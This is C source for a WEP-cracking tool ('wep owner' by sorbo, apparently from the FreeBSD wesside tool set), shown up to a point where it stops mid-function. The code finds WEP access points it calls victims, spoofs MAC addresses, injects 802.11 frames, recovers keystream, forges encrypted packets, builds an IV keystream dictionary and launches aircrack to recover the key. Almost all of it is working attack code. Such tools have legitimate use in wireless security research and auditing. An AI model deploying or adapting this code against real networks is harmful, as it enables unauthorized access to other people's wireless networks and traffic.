1 /*
2  * wep owner by sorbo <sorbox@yahoo.com>
3  * Aug 2005
4  *
5  * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6  * overflows.  this whole thing is experimental n e way.
7  *
8  * $FreeBSD: src/tools/tools/net80211/wesside/wesside/wesside.c,v 1.4 2009/07/24 15:31:22 sam Exp $
9  */
10 
11 #include <sys/types.h>
12 #include <sys/socket.h>
13 #include <sys/ioctl.h>
14 #include <sys/endian.h>
15 #include <sys/stat.h>
16 #include <sys/wait.h>
17 #include <sys/uio.h>
18 #include <net/if.h>
19 #include <net/if_media.h>
20 #include <net/if_llc.h>
21 #include <net/if_arp.h>
22 #include <net/if_types.h>
23 #include <net/if_dl.h>
24 #include <net/bpf.h>
25 #include <net/ethernet.h>
26 #include <netproto/802_11/ieee80211.h>
27 #include <netproto/802_11/ieee80211_ioctl.h>
28 #include <netproto/802_11/ieee80211_radiotap.h>
29 #include <netproto/802_11/ieee80211_dragonfly.h>
30 #include <netinet/in.h>
31 #include <netinet/in_systm.h>
32 #include <netinet/ip.h>
33 #include <netinet/udp.h>
34 #include <arpa/inet.h>
35 #include <stdlib.h>
36 #include <stdio.h>
37 #include <unistd.h>
38 #include <string.h>
39 #include <fcntl.h>
40 #include <errno.h>
41 #include <assert.h>
42 #include <zlib.h>
43 #include <signal.h>
44 #include <stdarg.h>
45 #include <err.h>
46 #include <pcap.h>
47 
48 #include "aircrack-ptw-lib.h"
49 
50 #define FIND_VICTIM		0
51 #define FOUND_VICTIM		1
52 #define SENDING_AUTH		2
53 #define GOT_AUTH		3
54 #define SPOOF_MAC		4
55 #define SENDING_ASSOC		5
56 #define GOT_ASSOC		6
57 
58 int state = 0;
59 
60 struct timeval arpsend;
61 
62 struct ippseudo {
63         struct  in_addr ippseudo_src;   /* source internet address */
64         struct  in_addr ippseudo_dst;   /* destination internet address */
65         u_char          ippseudo_pad;   /* pad, must be zero */
66         u_char          ippseudo_p;     /* protocol */
67         u_short         ippseudo_len;   /* protocol length */
68 };
69 struct tx_state {
70 	int waiting_ack;
71 	struct timeval tsent;
72 	int retries;
73 	unsigned int psent;
74 } txstate;
75 
76 struct chan_info {
77 	int s;
78 	struct ieee80211req ireq;
79 	int chan;
80 } chaninfo;
81 
82 struct victim_info {
83 	char* ssid;
84 	int chan;
85 	char bss[6];
86 } victim;
87 
88 struct frag_state {
89 	struct ieee80211_frame wh;
90 	unsigned char* data;
91 	int len;
92 	unsigned char* ptr;
93 	int waiting_relay;
94 	struct timeval last;
95 } fragstate;
96 
97 struct prga_info {
98 	unsigned char* prga;
99 	unsigned int len;
100 	unsigned char iv[3];
101 } prgainfo;
102 
103 struct decrypt_state {
104 	unsigned char* cipher;
105 	int clen;
106 	struct prga_info prgainfo;
107 	struct frag_state fragstate;
108 } decryptstate;
109 
110 struct wep_log {
111 	unsigned int packets;
112 	unsigned int rate;
113 	int fd;
114 	unsigned char iv[3];
115 } weplog;
116 
117 #define LINKTYPE_IEEE802_11     105
118 #define TCPDUMP_MAGIC           0xA1B2C3D4
119 
120 unsigned char* floodip = NULL;
121 unsigned short floodport = 6969;
122 unsigned short floodsport = 53;
123 
124 unsigned char* netip = NULL;
125 int netip_arg = 0;
126 int max_chan = 11;
127 
128 unsigned char* rtrmac = NULL;
129 
130 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
131 unsigned char myip[16] = "192.168.0.123";
132 
133 int bits = 0;
134 int ttl_val = 0;
135 
136 PTW_attackstate *ptw;
137 
138 unsigned char *victim_mac = NULL;
139 
140 int ack_timeout = 100*1000;
141 
142 #define ARPLEN (8+ 8 + 20)
143 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
144 unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
145 #define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
146 #define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
147 #define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
148 
149 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
150 
151 #define WEP_FILE "wep.cap"
152 #define KEY_FILE "key.log"
153 #define PRGA_FILE "prga.log"
154 
155 unsigned int min_prga =  128;
156 
157 /*
158  * When starting aircrack we try first to use a
159  * local copy, falling back to where the installed
160  * version is expected.
161  * XXX builtin pathnames
162  */
163 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
164 #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
165 
166 #define INCR 10000
167 int thresh_incr = INCR;
168 
169 #define MAGIC_TTL_PAD 69
170 
171 int crack_dur = 60;
172 int wep_thresh = INCR;
173 int crack_pid = 0;
174 struct timeval crack_start;
175 struct timeval real_start;
176 
177 /* linksys does this.  The hardware pads small packets. */
178 #define PADDED_ARPLEN 54
179 
180 #define PRGA_LEN (1500-14-20-8)
181 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
182 
183 #define DICT_PATH "dict"
184 #define TAP_DEV "/dev/tap3"
185 unsigned char tapdev[16];
186 unsigned char taptx[4096];
187 unsigned int taptx_len = 0;
188 int tapfd = -1;
189 
190 /********** RIPPED
191 ************/
192 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
193   register long sum;
194   u_short oddbyte;
195   register u_short answer;
196 
197   sum = 0;
198   while (nbytes > 1)
199     {
200       sum += *ptr++;
201       nbytes -= 2;
202     }
203 
204   if (nbytes == 1)
205     {
206       oddbyte = 0;
207       *((u_char *) & oddbyte) = *(u_char *) ptr;
208       sum += oddbyte;
209     }
210 
211   sum = (sum >> 16) + (sum & 0xffff);
212   sum += (sum >> 16);
213   answer = ~sum;
214   return (answer);
215 }
216 /**************
217 ************/
218 
219 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
220                           struct in_addr *dip) {
221         unsigned char *tmp;
222         struct ippseudo *ph;
223 
224         tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
225         if(!tmp)
226 		err(1, "malloc()");
227 
228         ph = (struct ippseudo*) tmp;
229 
230         memcpy(&ph->ippseudo_src, sip, 4);
231         memcpy(&ph->ippseudo_dst, dip, 4);
232         ph->ippseudo_pad =  0;
233         ph->ippseudo_p = IPPROTO_UDP;
234         ph->ippseudo_len = htons(len);
235 
236         memcpy(tmp + sizeof(struct ippseudo), stuff, len);
237 
238         return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
239 }
240 
241 void time_print(char* fmt, ...) {
242         va_list ap;
243         char lame[1024];
244 	time_t tt;
245 	struct tm *t;
246 
247         va_start(ap, fmt);
248         vsnprintf(lame, sizeof(lame), fmt, ap);
249         va_end(ap);
250 
251 	tt = time(NULL);
252 
253 	if (tt == (time_t)-1) {
254 		perror("time()");
255 		exit(1);
256 	}
257 
258 	t = localtime(&tt);
259 	if (!t) {
260 		perror("localtime()");
261 		exit(1);
262 	}
263 
264 	printf("[%.2d:%.2d:%.2d] %s",
265 	       t->tm_hour, t->tm_min, t->tm_sec, lame);
266 }
267 
268 void check_key() {
269 	char buf[1024];
270 	int fd;
271 	int rd;
272 	struct timeval now;
273 
274 	fd = open(KEY_FILE, O_RDONLY);
275 
276 	if (fd == -1) {
277 		return;
278 	}
279 
280 	rd = read(fd, buf, sizeof(buf) -1);
281 	if (rd == -1) {
282 		perror("read()");
283 		exit(1);
284 	}
285 
286 	buf[rd] = 0;
287 
288 	close(fd);
289 
290 	printf ("\n\n");
291 	time_print("KEY=(%s)\n", buf);
292 
293 	if (gettimeofday(&now, NULL) == -1) {
294 		perror("gettimeofday()");
295 		exit(1);
296 	}
297 
298 	printf ("Owned in %.02f minutes\n",
299 		((double) now.tv_sec - real_start.tv_sec)/60.0);
300 	exit(0);
301 }
302 
303 void kill_crack() {
304 	if (crack_pid == 0)
305 		return;
306 
307 	printf("\n");
308 	time_print("Stopping crack PID=%d\n", crack_pid);
309 
310 	// XXX doesn't return -1 for some reason! [maybe on my box... so it
311 	// might be buggy on other boxes...]
312 	if (kill(crack_pid, SIGINT) == -1) {
313 		perror("kill()");
314 		exit(1);
315 	}
316 
317 	crack_pid = 0;
318 
319 	check_key();
320 }
321 
322 void cleanup(int x) {
323 	time_print("\nDying...\n");
324 
325 	if (weplog.fd)
326 		close(weplog.fd);
327 
328 	kill_crack();
329 
330 	exit(0);
331 }
332 
333 void set_chan(int c) {
334 	if (c == chaninfo.chan)
335 		return;
336 
337 	chaninfo.ireq.i_val = c;
338 
339 	if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
340 		perror("ioctl(SIOCS80211) [chan]");
341 		exit(1);
342 	}
343 	chaninfo.chan = c;
344 }
345 
346 void set_if_mac(unsigned char* mac, unsigned char *name) {
347 	int s;
348 	struct ifreq ifr;
349 
350 	s = socket(PF_INET, SOCK_DGRAM, 0);
351 	if (s == -1) {
352 		perror("socket()");
353 		exit(1);
354 	}
355 
356 	memset(&ifr, 0, sizeof(ifr));
357 	strcpy(ifr.ifr_name, name);
358 
359 	ifr.ifr_addr.sa_family = AF_LINK;
360 	ifr.ifr_addr.sa_len = 6;
361 	memcpy(ifr.ifr_addr.sa_data, mac, 6);
362 
363 	if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
364 		perror("ioctl(SIOCSIFLLADDR)");
365 		exit(1);
366 	}
367 
368 	close(s);
369 }
370 
371 void setup_if(char *dev) {
372 	int s;
373 	struct ifreq ifr;
374 	unsigned int flags;
375 	struct ifmediareq ifmr;
376 	int *mwords;
377 
378 	if(strlen(dev) >= IFNAMSIZ) {
379 		time_print("Interface name too long...\n");
380 		exit(1);
381 	}
382 
383 	time_print("Setting up %s... ", dev);
384 	fflush(stdout);
385 
386 	set_if_mac(mymac, dev);
387 
388 	s = socket(PF_INET, SOCK_DGRAM, 0);
389 	if (s == -1) {
390 		perror("socket()");
391 		exit(1);
392 	}
393 
394 	// set chan
395 	memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
396 	strcpy(chaninfo.ireq.i_name, dev);
397 	chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
398 
399 	chaninfo.chan = 0;
400 	chaninfo.s = s;
401 	set_chan(1);
402 
403 	// set iface up and promisc
404 	memset(&ifr, 0, sizeof(ifr));
405 	strcpy(ifr.ifr_name, dev);
406 	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
407 		perror("ioctl(SIOCGIFFLAGS)");
408 		exit(1);
409 	}
410 
411 	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
412 	flags |= IFF_UP | IFF_PPROMISC;
413 
414 	memset(&ifr, 0, sizeof(ifr));
415 	strcpy(ifr.ifr_name, dev);
416 	ifr.ifr_flags = flags & 0xffff;
417 	ifr.ifr_flagshigh = flags >> 16;
418 	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
419 		perror("ioctl(SIOCSIFFLAGS)");
420 		exit(1);
421 	}
422 
423 	printf("done\n");
424 }
425 
426 int open_bpf(char *dev, int dlt) {
427         int i;
428         char buf[64];
429         int fd = -1;
430         struct ifreq ifr;
431 
432         for(i = 0;i < 16; i++) {
433                 sprintf(buf, "/dev/bpf%d", i);
434 
435                 fd = open(buf, O_RDWR);
436                 if(fd < 0) {
437                         if(errno != EBUSY) {
438                                 perror("can't open /dev/bpf");
439                                 exit(1);
440                         }
441                         continue;
442                 }
443                 else
444                         break;
445         }
446 
447         if(fd < 0) {
448                 perror("can't open /dev/bpf");
449                 exit(1);
450         }
451 
452         strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
453         ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
454 
455         if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
456                 perror("ioctl(BIOCSETIF)");
457                 exit(1);
458         }
459 
460         if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
461                 perror("ioctl(BIOCSDLT)");
462                 exit(1);
463         }
464 
465         i = 1;
466         if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
467                 perror("ioctl(BIOCIMMEDIATE)");
468                 exit(1);
469         }
470 
471         return fd;
472 }
473 
474 void hexdump(unsigned char *ptr, int len) {
475         while(len > 0) {
476                 printf("%.2X ", *ptr);
477                 ptr++; len--;
478         }
479         printf("\n");
480 }
481 
482 char* mac2str(unsigned char* mac) {
483 	static char ret[6*3];
484 
485 	sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
486 		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
487 
488 	return ret;
489 }
490 
491 void inject(int fd, void *buf, int len)
492 {
493 	static struct ieee80211_bpf_params params = {
494 		.ibp_vers = IEEE80211_BPF_VERSION,
495 		/* NB: no need to pass series 2-4 rate+try */
496 		.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
497 		.ibp_rate0 = 2,		/* 1 MB/s XXX */
498 		.ibp_try0 = 1,		/* no retransmits */
499 		.ibp_flags = IEEE80211_BPF_NOACK,
500 		.ibp_power = 100,	/* nominal max */
501 		.ibp_pri = WME_AC_VO,	/* high priority */
502 	};
503 	struct iovec iov[2];
504 	int rc;
505 
506 	iov[0].iov_base = &params;
507 	iov[0].iov_len = params.ibp_len;
508 	iov[1].iov_base = buf;
509 	iov[1].iov_len = len;
510 	rc = writev(fd, iov, 2);
511 	if(rc == -1) {
512 		perror("writev()");
513 		exit(1);
514 	}
515 	if (rc != (len + iov[0].iov_len)) {
516 		time_print("Error Wrote %d out of %d\n", rc,
517 			   len+iov[0].iov_len);
518 		exit(1);
519 	}
520 }
521 
522 void send_frame(int tx, unsigned char* buf, int len) {
523 	static unsigned char* lame = NULL;
524 	static int lamelen = 0;
525 	static int lastlen = 0;
526 
527 	// retransmit!
528 	if (len == -1) {
529 		txstate.retries++;
530 
531 		if (txstate.retries > 10) {
532 			time_print("ERROR Max retransmists for (%d bytes):\n",
533 			       lastlen);
534 			hexdump(&lame[0], lastlen);
535 //			exit(1);
536 		}
537 		len = lastlen;
538 //		printf("Warning doing a retransmit...\n");
539 	}
540 	// normal tx
541 	else {
542 		assert(!txstate.waiting_ack);
543 
544 		if (len > lamelen) {
545 			if (lame)
546 				free(lame);
547 
548 			lame = (unsigned char*) malloc(len);
549 			if(!lame) {
550 				perror("malloc()");
551 				exit(1);
552 			}
553 
554 			lamelen = len;
555 		}
556 
557 		memcpy(lame, buf, len);
558 		txstate.retries = 0;
559 		lastlen = len;
560 	}
561 
562 	inject(tx, lame, len);
563 
564 	txstate.waiting_ack = 1;
565 	txstate.psent++;
566 	if (gettimeofday(&txstate.tsent, NULL) == -1) {
567 		perror("gettimeofday()");
568 		exit(1);
569 	}
570 
571 #if 0
572 	printf("Wrote frame at %lu.%lu\n",
573 	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
574 #endif
575 }
576 
577 unsigned short fnseq(unsigned short fn, unsigned short seq) {
578         unsigned short r = 0;
579 
580         if(fn > 15) {
581                 time_print("too many fragments (%d)\n", fn);
582                 exit(1);
583         }
584 
585         r = fn;
586 
587         r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
588 
589         return r;
590 }
591 
592 void fill_basic(struct ieee80211_frame* wh) {
593 	unsigned short* sp;
594 
595 	memcpy(wh->i_addr1, victim.bss, 6);
596 	memcpy(wh->i_addr2, mymac, 6);
597 	memcpy(wh->i_addr3, victim.bss, 6);
598 
599 
600 
601 	sp = (unsigned short*) wh->i_seq;
602 	*sp = fnseq(0, txstate.psent);
603 
604 	sp = (unsigned short*) wh->i_dur;
605 	*sp = htole16(32767);
606 }
607 
608 void send_assoc(int tx) {
609 	unsigned char buf[128];
610 	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
611 	unsigned char* body;
612 	int ssidlen;
613 
614 	memset(buf, 0, sizeof(buf));
615 	fill_basic(wh);
616 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
617 
618 	body = (unsigned char*) wh + sizeof(*wh);
619 	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
620 	// cap + interval
621 	body += 2 + 2;
622 
623 	// ssid
624 	*body++ = 0;
625 	ssidlen = strlen(victim.ssid);
626 	*body++ = ssidlen;
627 	memcpy(body, victim.ssid, ssidlen);
628 	body += ssidlen;
629 
630 	// rates
631 	*body++ = 1;
632 	*body++ = 4;
633 	*body++ = 2;
634 	*body++ = 4;
635 	*body++ = 11;
636 	*body++ = 22;
637 
638 	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
639 			    strlen(victim.ssid) + 2 + 4);
640 }
641 
642 void wepify(unsigned char* body, int dlen) {
643 	uLong crc;
644 	unsigned long *pcrc;
645 	int i;
646 
647 	assert(dlen + 4 <= prgainfo.len);
648 
649 	// iv
650 	memcpy(body, prgainfo.iv, 3);
651 	body +=3;
652 	*body++ = 0;
653 
654 	// crc
655 	crc = crc32(0L, Z_NULL, 0);
656 	crc = crc32(crc, body, dlen);
657 	pcrc = (unsigned long*) (body+dlen);
658 	*pcrc = crc;
659 
660 	for (i = 0; i < dlen +4; i++)
661 		*body++ ^= prgainfo.prga[i];
662 }
663 
664 void send_auth(int tx) {
665 	unsigned char buf[128];
666 	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
667 	unsigned short* n;
668 
669 	memset(buf, 0, sizeof(buf));
670 	fill_basic(wh);
671 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
672 
673 	n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
674 	n++;
675 	*n = 1;
676 
677 	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
678 }
679 
680 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
681 	unsigned char* ptr;
682 	int x;
683 	int gots = 0, gotc = 0;
684 
685 	if (len <= sizeof(*wh)) {
686 		time_print("Warning: short packet in get_victim_ssid()\n");
687 		return 0;
688 	}
689 
690 	ptr = (unsigned char*)wh + sizeof(*wh);
691 	len -= sizeof(*wh);
692 
693 	// only wep baby
694 	if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
695 		return 0;
696 	}
697 
698 	// we want a specific victim
699 	if (victim_mac) {
700 		if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
701 			return 0;
702 	}
703 
704 	// beacon header
705 	x = 8 + 2 + 2;
706 	if (len <= x) {
707 		time_print("Warning short.asdfasdf\n");
708 		return 0;
709 	}
710 
711 	ptr += x;
712 	len -= x;
713 
714 	// SSID
715 	while(len > 2) {
716 		int eid, elen;
717 
718 		eid = *ptr;
719 		ptr++;
720 		elen = *ptr;
721 		ptr++;
722 		len -= 2;
723 
724 		if (len < elen) {
725 			time_print("Warning short....\n");
726 			return 0;
727 		}
728 
729 		// ssid
730 		if (eid == 0) {
731 			if (victim.ssid)
732 				free(victim.ssid);
733 
734 			victim.ssid = (char*) malloc(elen + 1);
735 			if (!victim.ssid) {
736 				perror("malloc()");
737 				exit(1);
738 			}
739 
740 			memcpy(victim.ssid, ptr, elen);
741 			victim.ssid[elen] = 0;
742 			gots = 1;
743 
744 		}
745 		// chan
746 		else if(eid == 3) {
747 			if( elen != 1) {
748 				time_print("Warning len of chan not 1\n");
749 				return 0;
750 			}
751 
752 			victim.chan = *ptr;
753 			gotc = 1;
754 		}
755 
756 		ptr += elen;
757 		len -= elen;
758 	}
759 
760 	if (gots && gotc) {
761 		memcpy(victim.bss, wh->i_addr3, 6);
762 		set_chan(victim.chan);
763 		state = FOUND_VICTIM;
764 		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
765 		       victim.ssid, mac2str(victim.bss), victim.chan);
766 		return 1;
767 	}
768 	return 0;
769 }
770 
771 void send_ack(int tx) {
772 	/* firmware acks */
773 }
774 
775 void do_llc(unsigned char* buf, unsigned short type) {
776 	struct llc* h = (struct llc*) buf;
777 
778 	memset(h, 0, sizeof(*h));
779 	h->llc_dsap = LLC_SNAP_LSAP;
780 	h->llc_ssap = LLC_SNAP_LSAP;
781 	h->llc_un.type_snap.control = 3;
782 	h->llc_un.type_snap.ether_type = htons(type);
783 }
784 
785 void calculate_inet_clear() {
786 	struct ip* ih;
787 	struct udphdr* uh;
788 	uLong crc;
789 	unsigned long *pcrc;
790 	int dlen;
791 
792 	memset(inet_clear, 0, sizeof(inet_clear));
793 
794 	do_llc(inet_clear, ETHERTYPE_IP);
795 
796 	ih = (struct ip*) &inet_clear[8];
797 	ih->ip_hl = 5;
798 	ih->ip_v = 4;
799 	ih->ip_tos = 0;
800 	ih->ip_len = htons(20+8+PRGA_LEN);
801 	ih->ip_id = htons(666);
802 	ih->ip_off = 0;
803 	ih->ip_ttl = ttl_val;
804 	ih->ip_p = IPPROTO_UDP;
805 	ih->ip_sum = 0;
806 	inet_aton(floodip, &ih->ip_src);
807 	inet_aton(myip, &ih->ip_dst);
808 	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
809 
810 	uh = (struct udphdr*) ((char*)ih + 20);
811 	uh->uh_sport = htons(floodport);
812 	uh->uh_dport = htons(floodsport);
813 	uh->uh_ulen = htons(8+PRGA_LEN);
814 	uh->uh_sum = 0;
815         uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
816                                   &ih->ip_src, &ih->ip_dst);
817 
818 	// crc
819 	dlen = 8 + 20 + 8 + PRGA_LEN;
820 	assert (dlen + 4 <= sizeof(inet_clear));
821 
822 	crc = crc32(0L, Z_NULL, 0);
823 	crc = crc32(crc, inet_clear, dlen);
824 	pcrc = (unsigned long*) (inet_clear+dlen);
825 	*pcrc = crc;
826 
827 #if 0
828 	printf("INET %d\n", sizeof(inet_clear));
829 	hexdump(inet_clear, sizeof(inet_clear));
830 #endif
831 }
832 
833 void set_prga(unsigned char* iv, unsigned char* cipher,
834 	      unsigned char* clear, int len) {
835 
836 	int i;
837 	int fd;
838 
839 	if (prgainfo.len != 0)
840 		free(prgainfo.prga);
841 
842 	prgainfo.prga = (unsigned char*) malloc(len);
843 	if (!prgainfo.prga) {
844 		perror("malloc()");
845 		exit(1);
846 	}
847 
848 	prgainfo.len = len;
849 	memcpy(prgainfo.iv, iv, 3);
850 
851 	for (i = 0; i < len; i++) {
852 		prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
853 						clear[i]);
854 	}
855 
856 	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
857 	       prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
858 	hexdump(prgainfo.prga, prgainfo.len);
859 
860 	if (!cipher)
861 		return;
862 
863 	fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
864 		  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
865 
866 	if (fd == -1) {
867 		perror("open()");
868 		exit(1);
869 	}
870 
871 	i = write(fd, prgainfo.iv, 3);
872 	if (i == -1) {
873 		perror("write()");
874 		exit(1);
875 	}
876 	if (i != 3) {
877 		printf("Wrote %d out of %d\n", i, 3);
878 		exit(1);
879 	}
880 
881 	i = write(fd, prgainfo.prga, prgainfo.len);
882 	if (i == -1) {
883 		perror("write()");
884 		exit(1);
885 	}
886 	if (i != prgainfo.len) {
887 		printf("Wrote %d out of %d\n", i, prgainfo.len);
888 		exit(1);
889 	}
890 
891 	close(fd);
892 }
893 
894 
895 void log_dictionary(unsigned char* body, int len) {
896 	char paths[3][3];
897 	int i, rd;
898 	int fd;
899 	unsigned char path[128];
900 	unsigned char file_clear[sizeof(inet_clear)];
901 	unsigned char* data;
902 
903 	len -= 4; // IV etc..
904 	assert (len == sizeof(inet_clear));
905 
906 	data = body +4;
907 
908 	if (len > prgainfo.len)
909 		set_prga(body, data, inet_clear, len);
910 
911 
912 	for (i = 0; i < 3; i++)
913 		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
914 
915 
916 	strcpy(path, DICT_PATH);
917 
918 
919 	// first 2 bytes
920 	for (i = 0; i < 2; i++) {
921 		strcat(path, "/");
922 		strcat(path, paths[i]);
923 		fd = open(path, O_RDONLY);
924 		if (fd == -1) {
925 			if (errno != ENOENT) {
926 				perror("open()");
927 				exit(1);
928 			}
929 
930 			if (mkdir(path, 0755) == -1) {
931 				perror("mkdir()");
932 				exit(1);
933 			}
934 		}
935 		else
936 			close(fd);
937 	}
938 
939 	// last byte
940 	strcat(path, "/");
941 	strcat(path, paths[2]);
942 
943 	fd = open(path, O_RDWR);
944 	// already exists... see if we are consistent...
945 	if (fd != -1) {
946 		rd = read(fd, file_clear, sizeof(file_clear));
947 
948 		if (rd == -1) {
949 			perror("read()");
950 			exit(1);
951 		}
952 
953 		// check consistency....
954 		for (i = 0; i < rd; i++) {
955 			if (file_clear[i] !=
956 			    (data[i] ^ inet_clear[i])) {
957 
958 				printf("Mismatch in byte %d for:\n", i);
959 				hexdump(body, len+4);
960 				exit(1);
961 			}
962 		}
963 
964 		// no need to log
965 		if (i >= sizeof(inet_clear)) {
966 #if 0
967 			time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
968 				body[0], body[1], body[2]);
969 #endif
970 			close(fd);
971 			return;
972 		}
973 
974 		// file has less... fd still open
975 
976 	} else {
977 		fd = open(path, O_WRONLY | O_CREAT, 0644);
978 		if (fd == -1) {
979 			printf("Can't open (%s): %s\n", path,
980 			       strerror(errno));
981 			exit(1);
982 		}
983 	}
984 
985 	assert (sizeof(file_clear) >= sizeof(inet_clear));
986 
987 	for(i = 0; i < len; i++)
988 		file_clear[i] = data[i] ^ inet_clear[i];
989 
990 	rd = write(fd, file_clear, len);
991 	if (rd == -1) {
992 		perror("write()");
993 		exit(1);
994 	}
995 	if (rd != len) {
996 		printf("Wrote %d of %d\n", rd, len);
997 		exit(1);
998 	}
999 	close(fd);
1000 }
1001 
1002 void stuff_for_us(struct ieee80211_frame* wh, int len) {
1003 	int type,stype;
1004 	unsigned char* body;
1005 
1006 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1007 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1008 
1009 	body = (unsigned char*) wh + sizeof(*wh);
1010 
1011 	// CTL
1012 	if (type == IEEE80211_FC0_TYPE_CTL) {
1013 		if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1014 			txstate.waiting_ack = 0;
1015 			return;
1016 		}
1017 
1018 		if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1019 			return;
1020 		}
1021 
1022 		if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1023 			return;
1024 		}
1025 		time_print ("got CTL=%x\n", stype);
1026 		return;
1027 	}
1028 
1029 	// MGM
1030 	if (type == IEEE80211_FC0_TYPE_MGT) {
1031 		if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1032 			unsigned short* rc = (unsigned short*) body;
1033 			printf("\n");
1034 			time_print("Got deauth=%u\n", le16toh(*rc));
1035 			state = FOUND_VICTIM;
1036 			return;
1037 			exit(1);
1038 		}
1039 		else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1040 			unsigned short* sc = (unsigned short*) body;
1041 
1042 			if (*sc != 0) {
1043 				time_print("Warning got auth algo=%x\n", *sc);
1044 				exit(1);
1045 				return;
1046 			}
1047 			sc++;
1048 
1049 			if (*sc != 2) {
1050 				time_print("Warning got auth seq=%x\n", *sc);
1051 				return;
1052 			}
1053 
1054 			sc++;
1055 
1056 			if (*sc == 1) {
1057 				time_print("Auth rejected... trying to spoof mac.\n");
1058 				state = SPOOF_MAC;
1059 				return;
1060 			}
1061 			else if (*sc == 0) {
1062 				time_print("Authenticated\n");
1063 				state = GOT_AUTH;
1064 				return;
1065 			}
1066 			else {
1067 				time_print("Got auth %x\n", *sc);
1068 				exit(1);
1069 			}
1070 		}
1071 		else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1072 			unsigned short* sc = (unsigned short*) body;
1073 			sc++; // cap
1074 
1075 			if (*sc == 0) {
1076 				sc++;
1077 				unsigned int aid = le16toh(*sc) & 0x3FFF;
1078 				time_print("Associated (ID=%x)\n", aid);
1079 				state = GOT_ASSOC;
1080 				return;
1081 		        } else if (*sc == 12) {
1082                                 time_print("Assoc rejected..."
1083                                            " trying to spoof mac.\n");
1084                                 state = SPOOF_MAC;
1085                                 return;
1086 			} else {
1087 				time_print("got assoc %x\n", *sc);
1088 				exit(1);
1089 			}
1090 		} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1091 			return;
1092 		}
1093 
1094 		time_print("\nGOT MAN=%x\n", stype);
1095 		exit(1);
1096 	}
1097 
1098 	if (type == IEEE80211_FC0_TYPE_DATA &&
1099 	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1100 		int dlen;
1101 		dlen = len - sizeof(*wh) - 4 -4;
1102 
1103 		if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1104 			time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1105 				   mac2str(wh->i_addr2), dlen, stype);
1106 				   return;
1107 		}
1108 
1109 		assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1110 
1111 		if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1112 			rtrmac = (unsigned char *) malloc(6);
1113 			if (!rtrmac) {
1114 				perror("malloc()");
1115 				exit(1);
1116 			}
1117 
1118 			assert( rtrmac > (unsigned char*) 1);
1119 
1120 			memcpy (rtrmac, wh->i_addr3, 6);
1121 			time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1122 
1123 			return;
1124 		}
